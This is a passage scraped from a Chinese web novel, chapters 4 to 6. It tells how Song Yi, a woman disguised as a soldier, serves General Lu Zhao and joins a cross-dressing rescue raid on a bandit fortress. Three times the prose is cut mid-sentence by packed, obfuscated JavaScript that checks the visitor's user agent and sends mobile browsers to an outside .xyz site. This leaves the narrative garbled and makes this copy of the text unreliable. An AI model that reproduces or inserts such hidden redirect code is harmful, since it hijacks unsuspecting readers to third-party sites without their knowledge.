“证据就在你手上。” 宋易上前用力抽出他藏在袖子里的手。 那人的手竟然长满红水泡。 “我早在护心镜上下药,你要是敢来,定让你原形毕露!” 宋易一语惊人,满座皆震惊于她的言论。 张裨将突然仰天大笑道:“就这证据也太单薄些了吧,你怎知我不是贪财才去偷你的护心镜。” “既然我有心设局,又怎么会真睡呢。昨日你偷走我护心镜后,我可是跟着你看了好一会。看到背上没掌印,张裨将似乎卸了好大口气呢。” 宋易声量愈发响亮,众人心中的天平也不自觉倾向她那边。 “看到自己洗清嫌疑,你还要去诬陷他人。不仅打了刘永一掌,还想将鞋也与其调包,但你没想到刘永昨日与我们起冲突后负气,便于他人换了床位。若真被你调包成功,刘永才是掉进黄河洗不清吧。” 刘永见机会来了,大声嚷嚷道:“我与你无冤无仇,只一个解手的功夫就差点被你拉去当替死鬼了!” 刘裨将嘴角扯出一抹笑意,随后突然发狂道: “刺客就是我又如何。难道你们当真对陆昭心悦诚服吗,他根本就不配做你们的将军,他就是个瞎……” 看到刘裨将似乎知道些什么,宋易连忙上前想捂住他的嘴。还没等到跟前,一阵鲜热的血便喷射到她脸颊上,再一看眼前那人,已经捂着喉咙硬生生倒下了。 全程一言不发的陆昭这才信步走来,每一个脚步声都踩在宋易的心间。 “你完成得很好。” 陆昭走到她身后,轻声说着。他蹲下身,将插在刘裨将喉咙的匕首刷地一下拔出,血液一下在那人身下蔓延开来。 陆昭的声音让宋易瞬间浑身战栗,经过昨日的那出,她其实大致猜到陆昭的弱点。 看着倒在血泊中的那人,她轻咽了口水。 貌似知道陆昭的弱点的人下场有点惨啊。 4. 第 4 章 夜幕如墨,将最后一缕天光吞噬。 宋易将最后一件衣物塞进包袱,粗布麻衣上还沾着平日训练时的尘土。她提起包袱,一转头看见谢飞和阿云站在身后。 “谢兄,云兄。多谢你们数月来的照顾。”宋易不好意思的挠挠头。 “别说这些了,以后飞黄腾达别忘了我们就行。”谢飞将手中的木枝塞给她,那上面插着他刚烤的新鲜的湖鱼。 阿云也拿出了他珍藏的药膏,对她说:“陆将军之前从未有过贴身侍卫。不知情况如何,你去了那边万事小心。” 宋易强忍着不让眼泪落下,谢飞和阿云从入营来就对她百般关照,她也早将他们视为异姓兄弟。现如今也到了分别的时刻。 她走出帐篷,营地里此起彼伏的鼾声与偶尔的梦呓声在夜色中回荡。月光透过稀疏的云层洒落,在地上投下斑驳的光影。 踩着碎石小径,宋易朝将军主军营帐走去。越靠近,戒备越森严。巡逻的士兵身姿挺拔,手中的长枪在月光下泛着冷光,他们警惕的目光扫过宋易,又迅速移开。 将军主军营帐灯火通明,巨大的营帐在夜色中宛如一座小山,彰显着威严。宋易现如今住的耳帐就设在主帐旁,与将军营帐仅隔一道布墙。 宋易伸手掀开帐帘。帐内,一盏油灯散发着柔和的光,照亮了简单却整洁的床铺和桌椅。她轻轻放下包袱,目光在陌生的环境中逡巡,最后停留在布墙上。主营帐烛火熠熠,一道人影随着烛火的跳动若隐若现。 她正瞧得认真,那道影子突然开口道:“宋易,来。” 宋易像是偷窥被当场抓包一般受了一惊,连忙回应道:“是,将军。” 她掀帘入账,看到陆昭身披玄色大氅,手里捏着的狼毫笔一笔落下,朱红的批语在昏暗的光线下如同一道血字。 听见宋易来到跟前福身行礼,陆昭放下笔,站起身走近,巨大的黑色影子将她笼罩在身下。 下一秒,陆昭突然拔刀出鞘,将刀架在宋易脖子上。宋易没准备,一个踉跄向后倒去。 “属下不知做错何事,将军要取我性命。” “昨日,你知道刘裨将临死前要说什么吧。”陆昭对于她的话充耳不闻。 宋易心里打鼓但表面平静,说:“刘裨将叛军,我同他毫无交集,怎知他要说什么。” 陆昭俯身捏住她的脸,说:“你是聪明人,我便明说了。本将军确实有眼疾,独独识得你,所以从现在起你就是我的眼睛。若是背叛我,刘裨将就是例子。但如果你肯为我所用,好处必然少不了你。” 面前的烛芯“噼啪”炸开火星,宋易的心也跳了再跳。 她惊讶于他的坦率,但是仔细想想这样把话说破岂不更妙。她也不装了,说: “属下愿作将军的眼,全力护您周全。” 陆昭眉头一舒展,松开掐她脸的手,转身边解开玄色大氅边说:“好了没你事了,下去吧。” 宋易闻言刚要告退,又被他叫停。 “慢着,先替本将军更衣。” 陆昭垂下解衣的手,直勾勾盯着她。因为疑心病重,以前的他从不让人近身,什么事都亲力亲为。如今差点忘了还有个贴身侍卫可以差遣了。 “遵命。”宋易重重点头,垫着脚为陆昭更衣。 为了复仇大计,忍了。 *** 翌日,主营帐内。 宋易原本以为升了官能比从前轻松些,却没想到做将军的贴身侍卫更是身心俱疲,毕竟她的顶头上司阴晴不定,让人摸不着头脑。 而且这贴身侍卫不仅要服侍将军更衣,还要端茶送水、整理书籍。 不是侍卫吗,怎么又当小厮又当丫鬟。宋易愤懑地边研墨边想。 “陆将军!不好了!”突然,一个毛头小兵莽莽撞撞地跑进帐内大喊道。 "陆小姐奉老夫人的命令来军中寻将军。"那小兵跑得上气不接下气,猛咽了口水又道:“没想到,中途被伏山寨的人劫走了!” 陆昭眉头紧皱,手中的狼毫笔咔嚓一声直接折断。 “召集各将,集议。” 没多久,帐外传来一阵整齐的马蹄声,四位副将掀帘进帐。 方副将最先入内,眼睛直勾勾瞅着站在一旁的宋易,欲言又止。 宋易感受到了诸位的眼神,刚想告退。陆昭却摆摆手让她留下。她也就默默低头站一旁不做声。 众人见状作罢,吴副将一拳打在案桌上,桃木桌几乎欲裂。“本打算从长计议的,没想到陆小姐竟在这个节骨眼被歹人掳去。” “不只是陆小姐,听说这几日伏山寨一连抓走了五六个过路的良家女,简直是无法无天。”赵副将手插腰连连摇头。 “可是,伏山寨三面临崖,山顶平坦,易守难攻。我们这样贸然进攻,怕是难以取胜啊。”方副将皱着眉头忧心忡忡道。 李副将却急眼了,一把抓住方副将的胸脯,大喊道:“难道要眼睁睁看着陆小姐落入贼人之手而无动于衷吗!” “够了。” 陆昭嗓子一吼,议事堂瞬间鸦雀无声。 半晌,一阵微弱的人声飘来。 “各位将军,小的有一记,或许可行。” 面前五个人纷纷将眼神落在宋易身上,只见她双手抱胸,肯定自己似的点点头。 “伏山寨虽然难以攻上去,但可以让他们请我们去。” *** 暮春的暖风裹着槐花香掠过伏山。此时的伏山脚下,有一马车缓缓驶来。 车辕上的车夫眯起眼睛,听着车轮碾过碎石的声响。 山道两旁的灌木突然剧烈晃动,惊起几只山雀,随后一伙山匪模样的人跳了出来。 车夫远远看见那伙人,立马吓得跳车,跳车时不慎踹了马儿一脚,那马儿受了惊吓,横冲直撞冲向那群人。 为首的一人飞身跳上马车,猛地一扯帘子,车厢内暖香扑面而来。只见两道纤细身影依偎在织锦软垫上。 左边女子黛眉微蹙,抬手遮面的动作恰似惊鸿掠水,右侧少女朱唇微张,鬓边珍珠步摇随着马车颠簸轻颤,眼波流转间似有春水荡漾。 “这位小兄弟,求您救救我们。”右侧少女张口说道,声音婉转,直叫人浑身酥麻。 歹人顿时兴奋起来,回过身坐上了马,三两下将其制服。马儿好不容易平静下来,那人又一扬马鞭狠狠抽在马屁股上,马儿撒了欢地向前跑。 “小兄弟,你要带我们去哪啊。”右侧少女手紧紧抓着帕子,一副含水的眼眸楚楚可怜。 “美人别怕,这一带危险,我带你们去寨子里歇歇脚。”那歹人笑得猖狂,头发一甩露出额角狰狞的刀疤。 马车内两人交换个眼神,计划到目前为止一切顺利。 对完眼神后,宋易忍不住多看了两眼身旁的人。 在脂粉的修饰下,他肤若凝脂,隐隐透出粉色。脸庞宛如精 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15844133|175748||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心雕琢的美玉,叫人挪不开眼。想不到大名鼎鼎的陆大将军还有这样俏丽的时候,宋易连忙咳嗽几声掩饰笑意。 昨日在集议之时,她提出了假扮为女子的提议。几个副将面面相觑,虽然方法可行,但是凭借他们几个大胡茬的形象,怕是根本骗不到贼人。 于是他们不约而同地将目光移向了陆昭。 陆昭性格高傲难以亲近,但在京城却极受官家小姐倾慕,其中缘由正是因为他长相俊美,面若冠玉。想来扮成女子也并不违和。 陆昭没有抬头,却也感受到了众人的视线,他手中折断的狼毫笔都快被他碾成碎渣了。 “不行。”他冷言拒绝。 “时间紧迫啊将军,不能再等了。”宋易抿着嘴唇,迫使自己不笑。 陆昭咬紧牙关,半炷香的功夫才松口同意。他看向宋易,说:“但你得同我一起去。” “行啊。”宋易倒是答应爽快。 *** 陆昭撑着脑袋,叮叮当当的步摇吵得他心烦,他随手摘下一个丢在一边。 宋易将其拾起,小心翼翼地插回他的头上,又撩下几缕发丝垂落在白皙的脸颊旁,让他更添了几分妩媚。 “将军甚美,定能骗过贼人,救出陆小姐。”宋易轻声在陆昭耳畔说道。 陆昭轻啧一声,转头看见眉如弯月,眼若明星的宋易低头熟练地整理起衣衫。他不禁狐疑道: “扮起女子来你倒是天衣无缝。” 随后他视线又落在宋易的耳垂上。 “你还有耳孔?” 宋易身形一顿,故意笨拙地撩起袖子,一脸尬笑道: “将军说笑了。属下是黔州人士。不知您可曾听过黔州的祭祀傩戏。属下因长相秀气了些,总被推出来演百花公主。耳孔也是那时候留下的。” 陆昭听后不语,似乎是接受了这个说法。 宋易看到他不再质问,暗暗松了一口气。还好她早就想好了推脱的言辞,总算是没有在陆昭面前露馅。 她默默坐远,想掀开车帘瞧瞧外面的情况。谁曾想下一秒,车轮碾过一块巨石惊得马匹前蹄高抬,车身几乎呈四十五度倾斜。陆昭本能地伸出手臂去抓车厢把手,却因惯性失控向旁栽去。 宋易身子重重撞在车厢上,陆昭单手撑住她身侧的木板,指节因用力而泛白,另一只手堪堪擦过她肩头,将她牢牢困在自己与车厢壁之间。等他低头,宋易的杏眼已经瞪得浑圆,发间的檀木香气扑面而来。 “将军?” 两人鼻尖几乎相触,陆昭的呼吸扫过宋易脸颊,她不禁脸红心跳,好在很快车厢回正。 “山路不好走啊。” 宋易随口一说,捏起帕子轻轻扇风来掩饰自己的慌张。 寒风透过车窗缝隙钻进来,两人还没坐稳多久,车厢又开始剧烈摇晃,宋易一个踉跄竟反将陆昭扑在身下。 她试图撑起身子,却发现手臂因刚才的撞击而发麻,根本使不上力气。 少女发间散落的一缕青丝垂落在自己肩头,陆昭觉得喉咙一阵干涩,那种奇怪的感觉催促他赶快把宋易从自己身上拽开。 他是个没轻没重的,宋易像只小鸡仔一般被拎起,随着一声惊呼跌落在地,屁股上传来清晰的痛感使她将一切的暧昧氛围抛之脑后。 马车在此刻终于停下了,车帐被一下掀开,歹人搓着手探了进来。 “让美人们受惊了,伏山寨到了。” 5. 第 5 章 宋易和陆昭被众人推搡着来到几位当家的面前。 “当家的,今日新劫的到了。” 一个小弟大声通报道,说完边退出去还边纳闷地看着自己的手,寻思着这高个婆娘咋的那么壮实。 大当家崔猛抬头,放下正在擦的刀眯着眼走来。 “好!这两个小妞长得真水灵。” 崔猛脑袋随着视线反复打量,确认完毕后朝二当家尚武大喊:“既然这样,矮的这个的归我,高个的归你如何。” 尚武浑浊眼珠在两人身上乱瞟,肥厚嘴唇反复舔舐。“好好好,真不错呀。” “我看时机也差不多了。要我说,明日就结亲。”三当家渠勇挠着脑袋憨笑着说。 “大哥,小弟也等不急了。”尚武摸着胡茬,一脸坏笑。 “瞧你们这点出息。”崔猛拍拍两人的后背,笑着说:“明日就明日。”随后又招呼来小弟道:“将她们绑好,带去‘储秀宫’。” 话毕,几个小弟上前将宋易和陆昭的手反绑起来,一路押送。 路上,宋易眼瞅陆昭表情阴沉,她害怕他忍受不了这样的侮辱,当场大开杀戒,连忙贴在他耳边道: “将军忍耐啊,咱们现在毕竟是在人家老巢呢,小不忍则乱大谋。” 陆昭横眉冷对,低声说:“无需你多言。” “行了行了,地方到了。你们老实点待着。”小弟手脚粗鲁地将两人带到。 两人抬眼看去,这哪是“储秀宫”啊,这不就是个破柴房吗。这帮山匪,还真当自己是土皇帝了。 几个小弟要将这二人推进柴房。宋易跌跌撞撞被推进来,而陆昭怎么推都纹丝不动,最后还是他亲自走了进来。 “你你你老实点。”几个小弟有些后怕,留下这句话就急冲冲退了出去锁上了门。 柴房散发出令人作呕的臭味,四个姑娘坐着蜷缩在一块,另有三两个直挺挺地躺在地上。 宋易一眼看出了人堆里的陆韵。她生得一张满月般的脸庞,两颊像浸了蜜的水蜜桃,杏眼弯弯如新月,唇珠饱满,带着几分未脱稚气的娇憨 陆韵和陆昭是同胞兄妹,更是宣平侯府唯一的千金,从小在娇生惯养中长大。这群山匪竟敢对她动手,也是不知天高地厚。 宋易又朝躺着的姑娘们望去,只见她们个个脸色铁青,口吐白沫。 陆韵瞧见来了新人,原本麻木的脸蛋添了几道泪痕,哭着说:“她们是反抗那些人后被杀的。故意放在这给我们看,杀鸡儆猴。” 陆韵一哭,其他几个活着的姑娘也抽泣起来,绝望的氛围笼罩着她们。 “我可不想死在这,也不想当压寨夫人。祖母也真是的,非要我来寻那个不孝子。不然我也不至于赔在这。”破碎的呜咽声从喉间溢出,陆韵哭得颤抖。 “祖母怎么可能派你来呢,我看你分明就是偷跑出来的。”陆昭突然出声道,语气很是不耐烦。 “还不是我阿兄总待在军营不肯回府,我这才心生好奇想来瞧瞧嘛。”陆韵气鼓鼓地说:“谁知带的侍卫也是无用,一下就被迷倒了。” 陆昭扭头不看她,嘴里蹦出两个字:“愚蠢。” 陆韵瞧着眼前这人没来由地训她,心里很是不服气,连忙往旁边挪了挪,撇开脸也不去瞧他。 “好啦,咱们现在的当务之急是先逃出去,有什么话出去再说。”宋易夹在中间,只得两边陪笑。 “逃出去?你们还想着逃出去?”旁边的青衣女子惊叹道:“难道你们不怕死吗。” 宋易眨眨眼说:“我们来这就是为了救你们的。”说完她手微微使劲,手上的绑绳就脱落了。 几位女子大惊,再看到旁边的陆昭更是已经开始活动筋骨。 她们喜极而泣,这下真的有救了。 *** 夜深人静,残月如钩,将青瓦白墙染成一片阴森的银灰色。 “你留在这里保护她们,我去将那几个贼人杀了。”陆昭压低声音,眼中闪过一丝寒光。他的脸庞在月光下显得棱角分明,剑眉紧锁。 宋易出声说好,下一秒陆昭轰然打开房门。在门卫还未反应过来时,他便迅速出手打昏了两人,又将他们拖到暗处,扒下衣服自己换上。整理好装束后,朝着崔猛的卧房潜去。 陆昭潜入崔猛卧房,一刀扎进床铺,顿时棉花四溅,他掀开被褥一看,里面躺着的竟然是棉花小人。陆昭感到警觉,小心翼翼环视四周。 忽然一道人影从他身后袭来,陆昭迅速侧身躲过,崔猛的长剑劈在梁柱上,木屑纷飞。陆昭回身给与一击,刀锋贴着他的衣摆扫过。刀光剑影下,崔猛自知打不过,连忙跑出屋,大喊: “救驾!救驾!” 陆昭凌空翻身扣住崔猛肩头将其打晕。短刃抵住后颈的刹那,一声凄惊呼刺破夜空: “刀下留人!” 院内瞬间来了上百号人,尚武和渠勇站在人前,怒声呵斥道: “大胆狂徒,你要是敢杀我们当家的,我们就杀你相好的。” 陆昭眼眸一闪,嘴角轻轻一撇,似笑非笑。他也不知怎么平白无故多出个相好。 此时人群中推出一个女子,素纱衬裙翻卷在外,拖在地上的裙摆沾满泥点,几绺发丝凌乱地粘在汗湿的额角。 宋易隔着数十丈与陆昭对望,随后尴尬一笑。 很显然这群人误会了,他们被陆昭的女子扮相欺骗了,恼羞成怒下就觉得宋易同他是一伙的,必然是他的软肋。 “他?” 陆昭一怔,没想到他们口中说的相好的竟是宋易。 宋易连忙出声应下:“没错就是我。”随后她连忙用眼神示意他。“官人,你快动手吧,不用管我。” 尚武抓着她的后颈怒吼道:“老实点,你官人要是敢动手,我立马要你命。” 强烈的痛感从她的后颈蔓延开来,她仰头朝尚武猛吐了口水,迎来的巴掌使她脸庞火辣辣的。 宋易暗自庆幸被抓来的是她不是陆韵。如果此时抓来的是陆韵,那陆昭定然不忍下手。但如果是她就不一定了,料想他肯定不会顾惜一个侍从的性命。 事情也就好办多了。 当然她肯定不是甘愿赴死,此时她怀里还揣了包烟雾粉。等到那群人要动手了,她就捏爆粉末,定能在歹人分神之际逃出。 快杀吧,快杀了崔猛! 宋易轻咬住嘴唇,定眼看着陆昭架在崔猛脖子上的刀刃,心里莫名燃起期待。 但没想到陆昭真的犹豫了,睫毛轻颤,喉头下咽,紧张的氛围弥漫在呼吸之间。 “你要杀他,我就杀了你们老大。”陆昭竟为了她也开始讨价还价。 北风呼啸,卷落一地残叶,一行人就此僵持在原地。 “阿兄?” 僵持不下之际,人群中传来一阵清脆的人声。 尚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15844134|175748||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 武挑眉,立马将出声的陆韵抓了过来。 “看来,你不止有相好的在我们手里啊。还有妹妹?” 陆韵满脸泪痕,惊慌失措。她也没料到阿兄会现身山寨,更没料到她的出声将众人至于更加被动的境遇。 听到陆韵的声响的宋易心中立马凉了半截。看着被抓到自己身旁小脸煞白的她,宋易无奈说:“我不是将你们藏起来了吗,怎么被抓来了?” 陆韵哭着指向角落一个人,说:“就是她!为了自己活命把我们都出卖了。” 宋易顺着指尖看向那,是在柴房里和她们依偎在一起的青衣女子,此时正得意洋洋地说:“你们自己送死别带着我。我可是要当压寨夫人的。” “哈哈哈哈哈。”尚武仰天长笑,“甚是有趣,我突然想到个更有趣的玩法。”说罢他将两把剑分别架在宋易和陆韵脖子上。 “娘子还是妹妹,你自己选一个吧。” 陆昭紧握手中的剑,如果不是有人质在他们手中,他恨不得将这群人碎尸万断。 “快选,快选。”身旁众人纷纷催促道,笑意盈盈看着眼前这一幕。 “选个屁。” 宋易暗自想着,不由分说捏爆了烟雾粉。 顿时间迷雾四起,宋易看准尚武呛得直咳嗽,拉起陆韵的手就跑。 陆昭也是一愣但很快反应过来,手起刀落间崔猛的小命就交代在他自家宅前。 “你们!”尚武气得双眼猩红,脸色铁青,嘶吼的声音几乎破音。“来人,杀了他们!” “到我身后来。”陆昭一把揽过跑向他的两人,将她们护在身后。 陆昭抽出崔猛手中的长剑。剑身挺出的刹那,寒芒划破夜幕。众人的刀剑裹挟着腥风恶气扑面而来,陆昭旋身而起,衣袂翻飞间,长剑化作银龙狂舞。 宋易捂住陆韵的眼睛,不让她看眼前的一幕,转头却望见尚武绕到陆昭身后想要偷袭。 那人刚要将手中剑落下,宋易一个后踢腿将其踢翻,没想到他倒地前突然发狠,长剑的刀刃划过她的肩头。 宋易吃痛但无暇顾及,因为眼前那人拍拍沾灰的衣摆后朝她冲来。 陆昭正巧扭头瞧见端倪,本想翻身救她,但眼前的渠勇也是异常难缠。 危急时刻,陆昭蓄力一击,将渠勇的刀刃生生斩断,断裂的刀刃在空中直直飞向尚武。 “呃啊。”短刃插入尚武右腿,他单膝跪倒在地。 宋易没有丝毫犹豫,上前夺过其手中长剑,眼睛紧闭,卯足劲奋力一挥。 血腥味弥漫在她眼前,先前还嚣张无比的尚武毫无生机地正面倒地,猩红的液体如同蜿蜒的溪流,在他身下肆意流淌。 “二哥!”渠勇无力跪倒在地,捂脸痛哭。 其余弟兄见状面面相觑,不敢上前。 下一秒,穿戴盔甲的官兵举着火把涌进院内,方副将高声喊道:“山匪逆贼,还不束手就擒!” 看见被官兵层层如网般包围,众人全身泄了气力,更有甚者哭着大声悔恨。 用不了多久,伏山寨的人统统被压扣回营。 宋易扶着被吓晕的陆韵,抬头看见陆昭正仰头望着天空,她也顺势望去,只见一轮弯月与繁星几点,再回过头却见陆昭嘴角轻扬。 这是在笑吗? 宋易刚想说活见鬼,陆昭已经朝她走来。 “干得好。”他轻轻拍了下她的脑袋。 6. 第 6 章 已经坐上回程的马车,宋易还呆愣愣地盯着手发呆。 再一眨眼,她仿佛又看到了方才双手沾满鲜血的画面。她急忙摇头,直到看清眼前白净的手才罢休。 陆昭瞥见她滑稽的模样,挑眉道: “第一次杀人?” 冷不防响起的男声让她肩头一颤。侧首望去,陆昭斜倚着车壁,饶有兴趣地看着她失魂落魄的模样。 “刚才你不出手的话,他就会杀了你。在战场亦是如此,对敌人的仁慈就是对自己的残忍。” 陆昭的声音沉敛如暮鼓,宋易听后头低得更沉。 “哎呦。” 陆韵低哼一声醒了,扶着脑袋坐了起来。方才她只瞥见一眼血就当场晕了过去,再睁眼已经在马车内了。 “宋姐姐!你没事真是太好了。” 陆韵一眼瞅见宋易,立马贴到她身边,没有多看一眼旁边的亲兄。 姐姐? 宋易立马低头看看穿着的衣裙,连忙摆手道: “陆小姐误会了,其实在下是男子。是陆将军的侍从。这身行头是为乔装打扮成女子潜入伏山寨救小姐您。” “男子??” 陆韵愣在原地,那方才宋易还拉着她的手冲出重围,她盯着右手,回忆起了那种触感,瞬间面红耳赤起来。 “男女不分,白痴。” 陆昭目睹一切扭头看着车外,指尖叩着车厢的雕花窗框,喉间溢出极轻的嗤笑。 此话一出,陆韵果然气炸毛。作为报复,她拉着宋易一路讲悄悄话,讲的净是些让陆昭听了想去死的话。 比如,总是喊错人。将大伯母认成二姨娘,或者将三舅错认成四叔都是常有的事,更离谱的时候连亲阿爷也会错认。 “实不相瞒,咱家人从小怀疑他这里有疾。”陆韵绘声绘色地边说边指着脑袋。 宋易掐着腿憋笑,这些人甚至怀疑陆昭颅内有疾都没有怀疑过他是脸盲吗。 “他也就空有一副皮囊和武力吧,惹得所有待字闺中的京城小姐都倾慕于他,连永宁郡主也不例外。真不知道这群贵女是怎么想的。”陆韵鄙夷地瞥了一眼陆昭,立马回过脸连连摇头。 宋易含笑看着陆韵,越过她的头顶望着坐在窗边的陆昭,再沿着他筋骨分明的的脖颈一路看向他的胸脯,以及怀中若隐若现的刀。 经过这几日的相处,她虽然怀疑陆昭可能与那场凶案有关,但无奈找不到其他证据。而且他太过难缠,片刻歇脚的时间都不留她,她也就没有闲暇另寻凶器了。 一路沉思伴随陆韵的叽叽喳喳,总算是赶在天亮前回到了军营。 拖着疲惫的身子回到自己帐内,宋易掏出火折子点燃了蜡烛。 烛光虽然微弱但照亮了昏暗的营帐,借着烛光,她在包袱中摸索到了阿云给她的药膏。 宋易蹑手蹑脚地脱去衣服,但还是在触及伤口时忍不住轻颤了一下。 她刚要将药膏涂抹在伤口处,布墙的那面咳嗽了几声。 宋易不以为然,暗自想着这布帘子忒不隔音,连陆昭咳嗽声都听的一清二楚。 下一秒又听到了陆昭的声音。 “来。” 宋易竖起耳朵,确定自己没有听错,连忙将衣服穿好。 “陆将军,您唤我?” 宋易掀开帘子,提脚入内。 陆昭此时只穿了件黑绸柳叶纹中衣坐在床榻上。 “不必行礼了。”他朝宋易招手。 宋易犹犹豫豫地走近,接住了他扔来的物件。 那是一个白瓷瓶。 宋易打开闻了一闻,眼神顿时发亮,这是金疮药? “多谢将军赏赐。” 宋易蹲下谢过陆昭,心里暗自琢磨他是什么时候注意到她的伤口的。 陆昭坐着不语,就当她想找个时机告退时,他就开口了: “这几日你不用在我这服侍了,陆韵指名要你陪她。” 说罢他又朝她仍了个物件,宋易定睛一看是个精巧的袖箭。 “给你防身用的,务必保护好她还有你自己。” 宋易恭恭敬敬地收下,又等了半晌,只听见陆昭往茶盏里续水的声音,没再吭声,她也就速速退下了。 第二日一早。 陆韵犹如一只欢呼雀跃的小鸟拉着宋易在军营里东跑西跑,吸引了众人的注意。 果不其然,一些闲言碎语就传进了宋易的耳中。 她连忙拦下了对一切都无比新奇的陆韵,瞧着她充满期待的眼神,宋易灵机一动。 “军营里太过危险,不如我们放纸鸢玩吧。” 陆韵水灵灵的双目圆睁,高声附和。 “可是,宋哥哥你有纸鸢吗?”陆韵兴奋不过三秒又疑惑地看向她。 “无妨,自己做个便好。”宋易撸起袖子,摆了个大干一场的架势。 她先将竹条削好,然后轻捻棉线,动作娴熟地将竹条绑扎在一起,紧接着平铺宣纸在桌上,将浆糊均匀地涂抹在骨架上。随后,轻轻提起宣纸,对准骨架,缓缓放下,小心翼翼地向四周抚平。等浆糊慢慢干透后,又用墨笔在纸上勾勒出一只栩栩如生的燕子,最后用丝线缠上线轴。 至此一个简单的纸鸢就完成了。 “宋哥哥你真厉害。”陆韵抱着纸鸢兴奋不已,拽着宋易就跑出军营,一路跑到一个空旷的地带。 正巧一阵风吹过,纸鸢借风而起,高高挂在空中,陆韵手捻线轴玩了个尽兴。 “宋哥哥可有兄弟手足?”陆韵突然问道。 宋易呼吸一滞,沉默几秒说:“家中本来有个弟弟。” 陆韵未听出她言下的落寞,撇着嘴说:“真羡慕他有你这样的阿兄啊,不像我,我阿兄从未陪过我。” “我更羡慕小姐。”宋易发自内心地说。 至少你们不是天人永隔。 正当两人发呆的功夫,那纸鸢好端端的线突然断开,整个飘摇而去。 “我的纸鸢!”陆韵惊叫,随着纸鸢掉落的方向跑去。 宋易也急忙追着她,但没想到绕过个灌木丛就不见其身影。 “陆小姐!你在哪儿。” 她焦急喊着,但四周除了树叶的沙沙声同她自己的回声外再无任何动静。 宋易又跑出几步,却发现此处已逼近崖边,而失去踪迹的陆韵此时正在够挂在崖边石块上的纸鸢。 “小心!” 她刚喊出口,却见一蒙着面纱的黑衣人突然出现,手中的长刀直逼陆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15844135|175748||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 韵的脑袋。 宋易迅速架起袖箭,下一秒三枚袖箭呈品字形飞射而出,正中黑衣人的左肩。那人吃痛闷哼,手中长刀猛地横削,被听到动静的陆韵灵巧躲过。 还没来得及庆幸,她左脚踩空,半个身子飞出崖外。 黑衣人捂着渗血的肩妄图再来,刀锋刚要斩落,忽听破空声再起,无奈之下他仓皇逃走。 此时宋易已经大步流星跑到崖边,在陆韵摇摇欲坠前抓住她扒着地的手。 “宋哥哥救我。”陆韵此刻两眼通红,浑身颤抖,活像只受惊的小兔。 宋易紧紧拉住她,手上一个使劲,眼见着就要拉上来了,没想到此时土壤松塌,连同宋易一块两人就要坠下悬崖。 危急时刻,宋易突觉脚上一阵拉扯感,再低头一看有人正向上拽她的脚。 “陆将军?” 她顾不得思考,使出浑身解数将陆韵甩起,陆昭一把抓住其手,再一抛,陆韵虽然摔得一脸灰头土脸但终于是到了岸上。 岸边的士兵连忙将她扶起,这些人是陆昭暗中派来保护两人的,追丢小姐后,他们慌忙通报陆昭,万幸赶到之时还来得及。 “抓紧我的手。”陆昭青筋暴起,咬牙说着。 宋易一阵恍惚,一边紧紧抓着他的手,一边死命寻找能够踮脚的地。她脑中只有一个念头:绝不能就这么死在这。 旁边几个小兵急忙想搭救陆昭,救人心切下却没注意到崖边土壤更加松散,还没走几步路,轰然塌陷。 失去得以支撑的土壤,陆昭感到身体一轻,旋即快速下落。 望着坠入山崖的两人,几个小兵急得推卸责任。 “都是你踩才塌的!”独眼小兵揪住豁牙小兵,恶狠狠说。 “如果不是你跟丢!我也不会去请示陆将军来,将军也就不会坠崖了!”豁牙小兵一拳打在独眼小兵好的那只眼睛上。 知道听到陆韵撕心裂肺的哭声才打断了他们的相互推搡。 “你们够了,快去找人。” “是!”几个小兵如梦初醒,留两个人看护陆韵,剩下几个脚程快的匆忙回营通报。 *** 剧烈的痛感使得宋易不得不睁开眼,映入眼帘的却是一个阴暗潮湿的山洞。 身后突然悉悉索索的响声,宋易手里暗自扶着袖箭警觉地望去。 一个挺拔的身影从暗中走出,她看着那张脸这才放松了警惕。 “你醒了。”陆昭坐下,眼里满是疲惫。 “多谢将军救我。”宋易直勾勾盯着陆昭。 陆昭侧过脸道:“救你?何出此言。” 宋易义正言辞地说:“当时将军若是放手的话,肯定不会同我一道坠下山崖。但您没有放手。” 瞥见她一脸认真的表情,陆昭嘀咕道:“我自然不会放手。” 没有将军会放弃任何一个士兵,更何况还是能为他所用的士兵。 "在我来之前都发生了什么。"陆昭扭动僵硬的脖颈。 宋易轻叹口气说:“有人想要刺杀陆小姐。” 听到此话,陆昭眼神闪动,他一下想起了今日突然出现在案上的那封书信。 京城怕是有大动静了。 他紧紧握住双拳。